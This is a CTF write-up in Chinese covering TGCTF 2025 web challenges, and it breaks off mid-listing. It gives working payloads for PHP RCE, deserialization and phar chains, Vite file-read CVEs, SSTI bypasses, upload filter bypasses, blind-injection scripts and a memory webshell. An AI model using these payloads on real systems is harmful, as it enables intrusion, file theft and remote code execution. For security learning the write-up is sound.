0%

2025TGCTF|web|复现

前言:

前段时间随便打了一下,感觉题目出的还是可以的有一点质量,但是当时有事情冲突了就只打了1、2个小时所以打的不咋样。赛后重新做一下并复现。

AAA偷渡阴平

描述:web签到1。简单的PHP特性,我的waf无懈可击!(bushi

考点:无参rce

读取到根目录的文件,发现flag就在根目录(有概率)

1
?tgctf2025=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

随机读取到根目录的文件内容

1
?tgctf2025=if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

用bp抓包爆破就可以得到flag了

AAA偷渡阴平(复仇)

描述:ban了无参RCE,思考别的方法。

考点:基于session的RCE

上一题是用无参打的,但是这题被禁了。看了wp说是没有禁止session相关。。。(也是第一次见这种长见识了)

直接打payload

1
2
/?tgctf2025=session_id();session_start();system(hex2bin(session_id()));
Cookie: PHPSESSID=636174202f666c6167 # cat /flag的十六进制

什么文件上传?

描述:听说有个黑客在这个文件上传里面加料了?

考点:php反序列化、文件爆破后缀上传+文件包含(预期解)

不管上传啥都显示hacker

用dirsearch扫看看

发现有个robots.txt访问

访问class.php得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php 
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

发现是打php反序列化

我当时的思路是

1
unserialize->yesterday() __destruct()->today() __call() md5(md5)->tommoraw() __invoke()->future() __toString()

当时的链子为

1
2
3
4
5
6
7
8
9
$yes = new yesterday();
$tod = new today();
$tom = new tommoraw();
$fut = new future();
$yes->study=$tod;
$tod->doing="eS";
$tod->doing=$tom;
$tom->good=$fut;
echo base64_encode(serialize($yes));

但是没打通,后面再试发现没那么麻烦,我的思路其实是错的正确的思路是(当时真的魔怔了一直纠结构造那个md(md5),压根就不用绕过那个,在计算md5($this->doing)时,PHP需要将$this->doing转换为字符串,就已经触发__toString(),真是被迷惑住了。。。)

1
unserialize->yesterday() __destruct()->today() __call() md5($this->doing)->future() __toString()

构造链子为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
// public function __construct()
// {
// $this->learn = "learn<br>";
// }
// public function __destruct()
// {
// echo "You studied hard yesterday.<br>";
// return $this->study->hard();
// }
}
class today {
public $doing;
public $did;
public $done;
// public function __construct(){
// $this->did = "What you did makes you outstanding.<br>";
// }
// public function __call($arg1, $arg2)
// {
// $this->done = "And what you've done has given you a choice.<br>";
// echo $this->done;
// if(md5(md5($this->doing))==666){
// return $this->doing();
// }
// else{
// return $this->doing->better;
// }
// }
}
class tommoraw {
public $good;
public $bad;
public $soso;
// public function __invoke(){
// $this->good="You'll be good tommoraw!<br>";
// echo $this->good;
// }
// public function __get($arg1){
// $this->bad="You'll be bad tommoraw!<br>";
// }

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

// public function __set($arg1, $arg2) {
// if ($this->out->useful7) {
// echo "Seven is my lucky number<br>";
// system('whoami');
// }
// }
// public function __toString(){
// echo "This is your future.<br>";
// system($_POST["wow"]);
// return "win";
// }
// public function __destruct(){
// $this->no = "no";
// return $this->no;
// }
}
//if (file_exists($_GET['filename'])){
// echo "Focus on the previous step!<br>";
//}
//else{
// $data=substr($_GET['filename'],0,-4);
// unserialize(best64_decode($data));
//}
$yes = new yesterday();
$tod = new today();
$fut = new future();
$yes->study=$tod;
$yes->study->doing=$fut;
echo best64_encode(serialize($yes));

然后直接打payload就出来了

后面发现这是非预期解,预期解还需要上传个文件再包含。

上面robots.txt提示我们说了文件后缀是三位小写,爆破得到后缀为atg

上传文件,文件名为我们的payload,然后包含一下文件就出来了。

什么文件上传?(复仇)

描述:题目描述请看【web】什么文件上传? (plz再非我一次^ ^)

考点:phar反序列化

跟上一题一样访问class.php得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
 <?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

但是跟上题一模一样的链子发现打不通了,再结合文件包含那么可以猜测这题应该是要打phar反序列化。

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
// public function __construct()
// {
// $this->learn = "learn<br>";
// }
// public function __destruct()
// {
// echo "You studied hard yesterday.<br>";
// return $this->study->hard();
// }
}
class today {
public $doing;
public $did;
public $done;
// public function __construct(){
// $this->did = "What you did makes you outstanding.<br>";
// }
// public function __call($arg1, $arg2)
// {
// $this->done = "And what you've done has given you a choice.<br>";
// echo $this->done;
// if(md5(md5($this->doing))==666){
// return $this->doing();
// }
// else{
// return $this->doing->better;
// }
// }
}
class tommoraw {
public $good;
public $bad;
public $soso;
// public function __invoke(){
// $this->good="You'll be good tommoraw!<br>";
// echo $this->good;
// }
// public function __get($arg1){
// $this->bad="You'll be bad tommoraw!<br>";
// }

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

// public function __set($arg1, $arg2) {
// if ($this->out->useful7) {
// echo "Seven is my lucky number<br>";
// system('whoami');
// }
// }
// public function __toString(){
// echo "This is your future.<br>";
// system($_POST["wow"]);
// return "win";
// }
// public function __destruct(){
// $this->no = "no";
// return $this->no;
// }
}
//if (file_exists($_GET['filename'])){
// echo "Focus on the previous step!<br>";
//}
//else{
// $data=substr($_GET['filename'],0,-4);
// unserialize(best64_decode($data));
//}
$yes = new yesterday();
$tod = new today();
$fut = new future();
$yes->study=$tod;
$yes->study->doing=$fut;
$phartest=new phar('test.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($yes);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt",'test');
$phartest->stopBuffering();

生成phar文件后改后缀为atg(上一题爆出来的后缀)然后上传,接着用phar://读一下文件就成功了

这里还有一个坑就是flag藏在环境变量里。。。

前端GAME

描述:非常适合新生的前端小游戏,真的吗。

考点:CVE-2025-30208

打开调试器直接搜索score

本来还以为是题js前端调试,结果发现他说flag在根目录下/tgflagggg中,当时我觉得这题应该是关于vue框架的一个路径漏洞CVE-2022-47762,但是我尝试了一下不对,然后我又以为是需要用控制台进行路径跳转,后面试了好久都没试出来。

赛后看了一下wp发现确实是CVE,但是是CVE-2025-30208(不是这也太尼玛紧跟时代了吧。。。)

先尝试一下存在不

1
/@fs/etc/passwd?import&raw??

获取flag

1
/@fs/tgflagggg?import&raw??

总结了一下归根结底在于我的信息搜集能力不足,我只注意到了这是个vue框架所以搜索的时候也是直接搜索的vue框架漏洞,但是如果当时我注意到这个标题为Vue3 Game With Vite然后搜索vite漏洞直接就能搜索到了。。。

前端GAME Plus

描述:非常适合新生的前端小游戏Plus版,真的吗。

考点:CVE-2025-30208、v6.2.4未公开poc

这题按着上题的payload

查看了一下控制台发现当前版本为6.2.4

那就找这个版本的poc(这里参考了Meteor_Kai师傅的文章 Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)

1
/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

base64解码一下得到flag

看了一下官方的wp,用目录穿越也是可以的就是得要找对路径有点麻烦

1
/@fs/app/?/../../../../../tgflagggg?import&?raw

前端GAME Ultra

描述:非常适合新生的前端小游戏Ultra版,真的吗。

考点:CVE-2025-32395

还是老规矩试试上面两题的payload,发现都不行了

查看一下版本发现是6.2.5的

搜了一下还有个CVE-2025-32395,但是他需要工作目录

题目给了附件直接看dockerfile(出过题的都懂)

可以看到工作目录是app,那就直接打payload(这里我直接打没成功,用bp抓包了才成功)

1
/@fs/app/#/../../../../../etc/passwd

获取flag

1
/@fs/app/#/../../../../../tgflagggg

火眼辩魑魅

描述:shell学姐会让青春CTF少年脸红吗?

考点:后门(非预期)、xff攻击、基于Smaty的SSTI

用dirsearch扫描发现robots.txt

访问发现几个路由

提示说没有过滤,那就一个个试

发现tgshell.php有个后门,直接连蚁剑

获取flag

看了wp我的这个打法估计是非预期解,正确打法说是在tgxff.php

访问后是一个ip,根据标题可以猜测打xff,用bp抓包试一下

发现确实是打xff,进一步测试发现ssti

那就简单了,没有过滤直接打payload

但是我直接打Jinja2的payload没有打出来,后面又重新测了一下发现是Smaty模板的SSTI注入

确定模板之后直接打payload

1
X-Forwarded-For: {if system('tac /tgfffffllllaagggggg')}{/if}

(ez)upload

描述:简单的文件上传

考点:move_uploaded_file()绕过后缀检测、PCRE回溯次数限制绕过正则

随便上传个php但是被禁止了

当时没打出来,赛后看了其他人的wp发现居然能扫出upload.php.bak但是我的dirsearch当时没扫出来(也是扩展了一下dirsearch的字典)

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

审计一下代码关键点在于move_uploaded_file($temp_file, $img_path)这个函数会将我们传入name的文件名转化为目标路径的文件名,利用这个可以绕过后缀的限制

此时如果我们用?name=1.php/.提取出来的后缀名为空可以绕过黑名单,而此时的文件名就变为1.php/传入uploads目录就为/uploads/1.php/也就是/uploads/1.php

可以看到文件上传成功了,直接连接蚁剑

但是进入蚁剑后没找到flag,后面试着看一下环境变量获得flag

但是其实我这里打法有点非预期了,文件内容直接就绕过了

可以看到文件内容被正则过滤了,但是可以用PCRE回溯次数限制绕过正则

用脚本生成100万条脏数据

1
2
data = "aaaaa" * 1000000
print(data)

加在文件内容里即可绕过,但是这题我发现只要用name更改上传的文件名基本不会触发正则检查文件内容估计是非预期。

这题我感觉应该还能用.user.ini+图片马打但是不知道为啥没打出来(.user.ini没被禁用)

熟悉的配方,熟悉的味道

描述:简单的本地计算器,进行了严格安全验证,包严格的。

考点:盲注(非预期)、内存马、污染http的协议头回显

进入后直接就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

可以看出这是一个基于Pyramid框架的Web应用,代码中给了eval()但是用checkExpr()限制只能输入数字和 [+-*/]

所以实际上漏洞点在exec()

 2025-04-28 003201.png

但是这里如果直接输入payload的话就会受到checkExpr()的限制,导致没法看到exec()执行命令的结果而是只会返回一个“爬”

1
__import__('os').system('sleep 10')

打这个payload的话就可以很明显的感受到网页延迟了10秒才返回这个界面,说明exec()是执行成功了

但是有一点很重要就是其实exec()是已经执行成功了只是没法看到回显。

这里我们就可以利用operator.eq来对flag的字符一位一位的进行判断然后输出从而实现布尔盲注

假设此时f=os.popen('cat /f*').read()也就是是flag的内容,那么operator.eq(f[{i}], '{s}')可以判断f的第i位是不是s,如果是就返回true,如果不是就返回false。此时再加一层int上去,true就会返回1而false就会返回0。此时还有一个点就是1/a,如果是a是false也就是0那么1/0就会返回500错误,如果a是true也就是1那么1/1就会返回200也就是页面上显示“A server error occurred. Please contact the administrator.”

直接打布尔盲注

写个脚本爆破(但是由于他服务器好像请求过大直接就断了,每次爆几位flag就断,所以得要自己几位几位的增加flag,所以脚本其实不太自动化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

def ascii_str():
"""生成可显示字符列表"""
return [chr(i) for i in range(33, 127)] # 所有可显示字符

def attack(url,flag,error_str):
chars = ascii_str()
for i in range(len(flag), 50): # 假设flag长度不超过50
for s in chars:
# 构造Payload
payload = {"expr": f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
res = requests.post(url, data=payload, timeout=10)
if error_str not in res.text:
flag += s
print(f"Found: {flag}")
break

print(f"Final flag: {flag}")

if __name__ == '__main__':
url = "http://127.0.0.1:31667/"
flag = "TGCTF{d6b945c2-faa3-8ed2-b5ae-3b489cd29b01"
error_str = "A server error occurred. Please contact the administrator."
attack(url,flag,error_str)

后面看了官方的wp,还有另外几种打法

法一:打内存马

payload:

1
expr=config.add_route('shell_route','/shell');config.add_view(lambda a:Response("hello 111"),route_name='shell_route');app = config.make_wsgi_app()

可以看到已经注入成功了,重启个环境注入内存马

1
expr=config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='shell_route');app = config.make_wsgi_app()

法二:污染http的协议头回显

1
expr=import os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];baseHandler=built['__import__']('wsgiref').handlers.BaseHandler;setattr(baseHandler,"error_body",os.popen("whoami").read().encode());

然后随便让他返回500报错,可以看到此时的500报错已经不是“A server error occurred. Please contact the administrator.”而是执行命令后的结果了

法三:时间盲注

跟布尔盲注的其实差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

def ascii_str():
"""生成可显示字符列表"""
return [chr(i) for i in range(33, 127)] # 所有可显示字符

def attack(url,flag):
char = ascii_str()
for i in range(len(flag), 50):
for str in char:
payload ={'expr':f"""
import os
import time
a os.popen('cat /f*').read()
if len(a)>{i}and a[{i}]=='{str}':
time.sleep(2)
"""}
start = time.time()
requests.post(url, data=payload,timeout=10)
end = time.time()
if end - start > 2:
flag += str
print(flag)

if __name__ == '__main__':
url = "http://127.0.0.1:63019/"
flag = "TGCTF{"
attack(url,flag)

但是我这个脚本请求太大了一直报错,所以还是用布尔盲注打好点。

直面天命

描述:逃不脱,就带上金箍吧,重走一次西行路

考点:bp爆破、目录穿越(非预期)、SSTI绕过黑名单

查看源代码得到提示

访问/hint

用bp抓包爆破一下

先用python生成一个4个英文字母的字典(由于一共有45万条数据太多了,这里就先只取a开头的数据)

1
2
3
4
5
6
7
8
9
10
from string import ascii_lowercase

def generate_combinations():
with open('4chars.txt', 'w') as f:
for c2 in ascii_lowercase:
for c3 in ascii_lowercase:
for c4 in ascii_lowercase:
f.write(f"a{c2}{c3}{c4}\n")

generate_combinations()

开始爆破

最后爆出路由为/aazz(当然这种爆法只是我的猜测,当时我用的是bp里自带的4字母字典但是没爆出来,看了提示直接给了这个路由)

访问后查看源代码提示要传参

接着爆破参数。。。

爆破得到filename

1
/aazz?filename=/etc/passwd

尝试读一下flag没想到直接就读到了

1
/aazz?filename=../../../../../flag

但是这应该是个非预期

看了下官方wp,读取app.py得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("直面","{{").replace("天命","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')

if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

找到关键点

其实就是要打SSTI,但是有黑名单限制,并且{{`被替换为“直面”,`}}被替换为“天命”

知道结果后直接fenjing一把梭(注意要禁用{%%},并且生成的payload将{{}}替换掉)

1
2
3
4
5
6
7
8
9
10
11
12
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = ['%','popen','os','import','eval','_','system','read','base','globals']
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat flag")

print(f"{shell_payload=}")

直面天命(复仇)

描述:逃不脱,就带上金箍吧,重走一次西行路

(听说黄风大王戏份太多,我拿定风珠定住他了)

(原路由文件读取功能修改为源码展示)

考点:SSTI 绕过黑名单

老规矩查看hint

直接给了路由(当时比赛早知道先打这一题了。。。)

访问直接给源码(好好好。。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"

{source_code}

", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

加了点黑名单,把{{`替换为“天命”,`}}替换“难违”,还把cat给禁了。

本来想接着用fengjing一把梭,但是发现怎么改生成的payload运行后一直都是500报错。

1
天命g['p''op']['\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f']['\\u005f\\u005f\\u0062\\u0075\\u0069\\u006c\\u0074\\u0069\\u006e\\u0073\\u005f\\u005f']['\\u005f\\u005f\\u0069\\u006d\\u0070\\u006f\\u0072\\u0074\\u005f\\u005f']('o''s')['p''open']('ls')['r''ead']()难违

自己手绕,直接fengjing生成的payload所有都转为unicode编码直接就绕过了(感觉应该是'拼接和\\的问题)

1
天命g['\u0070\u006f\u0070']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('\u006f\u0073')['\u0070\u006f\u0070\u0065\u006e']('cat tgffff11111aaaagggggggg')['\u0072\u0065\u0061\u0064']()难违

老登,炸鱼来了?

描述:俺就一出题的,俺啥也不知道阿,俺以为是炸鱼老登呢,俺们都在用力的活着,你和gets将军说去吧。(需要让子弹飞一会)

hint1 :safe参数——2025-04-12 23:44 hint2 :竞争的思路是对的,但是脚本需要斟酌——2025-04-13 18:12

考点:go语言=变量赋值导致变量竞争

点击example.md可以得到源码,对代码进行一个处理(便于审计)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package main

import (
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"text/template"
"time"
)

type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
Notes []Note
Error string
}

// 检查路径是否合法
func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

// 渲染模板
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
